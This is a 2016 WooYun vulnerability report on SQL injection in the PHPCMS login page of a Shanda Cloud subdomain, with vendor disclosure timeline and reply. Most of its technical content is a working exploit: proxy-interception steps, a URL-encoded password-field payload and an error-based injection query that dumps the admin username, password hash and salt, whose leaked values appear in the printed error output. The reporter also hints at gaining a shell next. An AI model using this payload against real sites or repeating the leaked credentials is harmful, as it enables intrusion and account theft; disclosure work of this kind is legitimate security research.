当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0202884

漏洞标题:盛大云某二级域名分站存在SQL注射漏洞(数据云应用附POC)

相关厂商:盛大网络

漏洞作者: 奶嘴

提交时间:2016-04-28 09:09

修复时间:2016-06-12 10:00

公开时间:2016-06-12 10:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-28: 细节已通知厂商并且等待厂商处理中
2016-04-28: 厂商已经确认,细节仅向厂商公开
2016-05-08: 细节向核心白帽子及相关领域专家公开
2016-05-18: 细节向普通白帽子公开
2016-05-28: 细节向实习白帽子公开
2016-06-12: 细节向公众公开

简要描述:

RTRT
第二发直接getshell
期待

详细说明:

http://video.grandcloud.cn/index.php?m=member&c=index&a=login
看了下是PHPCMS的
传上POC
随便填用户名和密码(先别点击登录)
第二步:设置浏览器的代理模式
点击登录,获取登录包
第三步,我们用以下代码替换password
***********************************************************8
返回如下错误,我们可以看到他说v9_admin表不存在,我们发现他表的前缀不对,我们需要改为sl_admin才对(如果是默认前缀v9的话,这一步就直接报用户名和密码和salt了)
第五步(如前缀非默认v9,按照如下步骤做)
用以下代码:
***********************************8
INSERT INTO `new_video`.`v9_member`(`phpssouid`,`username`,`password`,`encrypt`,`email`,`regip`,`regdate`,`lastip`,`lastdate`,`groupid`,`modelid`) VALUES ('2999999','test','5f1d7a84db00d2fce00b31a7fc73224f','123456','','',(select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(username,0x3a,password,0x3a,encrypt) from v9_admin limit 0,1)),1,62)))a from information_schema.tables group by a)b)),'','111','222','3333')#','2','10') <br /><b> MySQL Error : </b>Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key' <br /> <b>MySQL Errno : </b>1062 <br /><b> Message : </b> Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key'

QQ截图20160428084934.png

QQ截图20160428084745.png


http://video.grandcloud.cn/index.php?m=member&c=index&a=login
poc
123456%26username%3d%2527%2bunion%2bselect%2b%25272999999%2527%252c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252c0x272C2873656C656374202831292066726F6D206D7973716C2E7573657220776865726520313D3120614E64202853454C45435420312046524F4D202873656C65637420636F756E74282A292C636F6E63617428666C6F6F722872616E642830292A32292C28737562737472696E67282853656C656374202873656C65637420636F6E63617428757365726E616D652C307833612C70617373776F72642C307833612C656E6372797074292066726F6D2076395F61646D696E206C696D697420302C3129292C312C3632292929612066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C65732067726F75702062792061296229292C27%252c111%252c222%252c0x33333333272923%252c444%252c555%252c666%252cnull%2523

漏洞证明:

http://video.grandcloud.cn/index.php?m=member&c=index&a=login
看了下是PHPCMS的
传上POC
随便填用户名和密码(先别点击登录)
第二步:设置浏览器的代理模式
点击登录,获取登录包
第三步,我们用以下代码替换password
***********************************************************8
返回如下错误,我们可以看到他说v9_admin表不存在,我们发现他表的前缀不对,我们需要改为sl_admin才对(如果是默认前缀v9的话,这一步就直接报用户名和密码和salt了)
第五步(如前缀非默认v9,按照如下步骤做)
用以下代码:
***********************************8
INSERT INTO `new_video`.`v9_member`(`phpssouid`,`username`,`password`,`encrypt`,`email`,`regip`,`regdate`,`lastip`,`lastdate`,`groupid`,`modelid`) VALUES ('2999999','test','5f1d7a84db00d2fce00b31a7fc73224f','123456','','',(select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(username,0x3a,password,0x3a,encrypt) from v9_admin limit 0,1)),1,62)))a from information_schema.tables group by a)b)),'','111','222','3333')#','2','10') <br /><b> MySQL Error : </b>Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key' <br /> <b>MySQL Errno : </b>1062 <br /><b> Message : </b> Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key'

QQ截图20160428084934.png

QQ截图20160428084745.png


http://video.grandcloud.cn/index.php?m=member&c=index&a=login

修复方案:

过滤
第二发直接getshell
期待

版权声明:转载请注明来源 奶嘴@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-04-28 09:57

厂商回复:

谢谢报告,这个域名其实不属于我们,会转告一下!

最新状态:

暂无